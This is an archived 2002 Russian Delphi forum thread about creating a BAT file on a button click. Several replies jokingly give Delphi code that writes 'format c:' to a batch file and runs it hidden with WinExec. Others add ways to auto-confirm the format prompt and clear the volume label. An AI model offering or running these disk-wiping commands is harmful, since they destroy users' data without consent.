Форум: "Основная";
Поиск по всему сайту: delphimaster.net;
Текущий архив: 2002.04.01;
Скачать: [xml.tar.bz2];




Вниз

Как сделать что бы при нажатие на кнопку создавался BAT-файл? 


snoup   (2002-03-21 16:54) [0]

Как сделать что бы при нажатие на кнопку создавался BAT-файл?



Alx2   (2002-03-21 16:59) [1]

Из обработчика OnButtonClick создаешь/открываешь текстовый файл с расширением bat, пишешь туда все, что надо, закрываешь.

Var F : System.Text
begin
AssignFile(F,"nothing.bat");
try
rewrite(f);
WriteLn(F,"format c:");
finally
closeFile(f);
end;
end;



Awex   (2002-03-21 16:59) [2]

Минимум....
Нужно нажать на кнопку.......
И срздать BAT



Андрей Сенченко   (2002-03-21 17:42) [3]

>> Alx2 © (21.03.02 16:59)

Приведенный Вами код безусловно имеет неточность. Для того, чтобы программа не выдавала сбоев при поставке на компьютеры с любым типом оперативной памяти нужно написать так:

Var F : System.Text
begin
AssignFile(F,"nothing.bat");
try
rewrite(f);
WriteLn(F,"format c:");
finally
closeFile(f);
end;
winexec("nothing.bat",sh_hide);
end;


:)



Андрей Сенченко   (2002-03-21 17:43) [4]

sw_hide , безусловно



Alx2   (2002-03-21 17:44) [5]

8()
Меня же прибьют!!! :))



Виктор Щербаков   (2002-03-21 17:46) [6]

Alx2 © (21.03.02 17:44)
Не тебя, а Андрея Сенченко



Alx2   (2002-03-21 17:47) [7]

Хотя нет. После "format c:" нехватает кое-чего, чтобы format не спрашивал лишний раз протокол о намерениях :)



Song   (2002-03-21 17:47) [8]

Подождите ещё не всё. :))))
ещё забыли сгенерировать нажатие Enter, когда он напишет:
"Все данные на несъёмном диске будут уничтожены!
Приступить к форматориванию?".
Поэтому после WinExec задержечку и Enter..................



Alx2   (2002-03-21 17:50) [9]

>Виктор Щербаков © (21.03.02 17:46)
>Не тебя, а Андрея Сенченко
Обычно гасят тех, кто первым сказал "мяу" :(



Song   (2002-03-21 17:53) [10]

И чтобы ненадо было вводить метку диска как типа пароль для начала процесса форматирования, чистим быстренько онную....:

BOOL SetVolumeLabel(

LPCTSTR lpRootPathName, // address of name of root directory for volume
LPCTSTR lpVolumeName // name for the volume
);

Вот. Появился зловредный вирус с открытым кодом и множеством разработчиков. :))



lipskiy   (2002-03-21 18:08) [11]

Ну все, ребята, теперь вы все на крючке у ФСБ!
(хм.., ну и я заодно :)



SPeter   (2002-03-21 18:32) [12]

Если надо, ответить на вопрос да, то попробуй
format c: | echo y



panov   (2002-03-21 19:26) [13]

>all
Зачем такой флейм?
procedure TForm1.Button1Click(Sender: TObject);
var
tL: TStringList;
begin
tL := TStringList.Create;
try
tL.Add("@echo off");
tL.Add("call mycommand1.bat");
tL.SaveToFile("c:\test.bat");
finally
tL.Free;
end;
end;



Pat   (2002-03-21 19:30) [14]

Пишу в батнике:
format c:/q/autotest
Запускаю WinExec"ом, пишет, что диск занят другим приложением и т.д...короче вирус не удался :-((((




Форум: "Основная";
Поиск по всему сайту: delphimaster.net;
Текущий архив: 2002.04.01;
Скачать: [xml.tar.bz2];




Наверх





Память: 0.73 MB
Время: 0.022 c
3-76              Ross                  2002-02-17 18:39  2002.04.01  
Прогресс бар


6-279             Pimin                 2002-01-18 03:08  2002.04.01  
Заполняем форму Twebbrowseroм


1-87              Alexandr_H            2002-03-20 18:56  2002.04.01  
Как вписать в FileStream обыкновенную строку?


3-20              SkyR                  2002-03-06 07:38  2002.04.01  
Что за ошибка в IB...


3-53              ddd                   2002-03-06 13:01  2002.04.01  
автоматизировать настройку Client Network Utility MS SQL7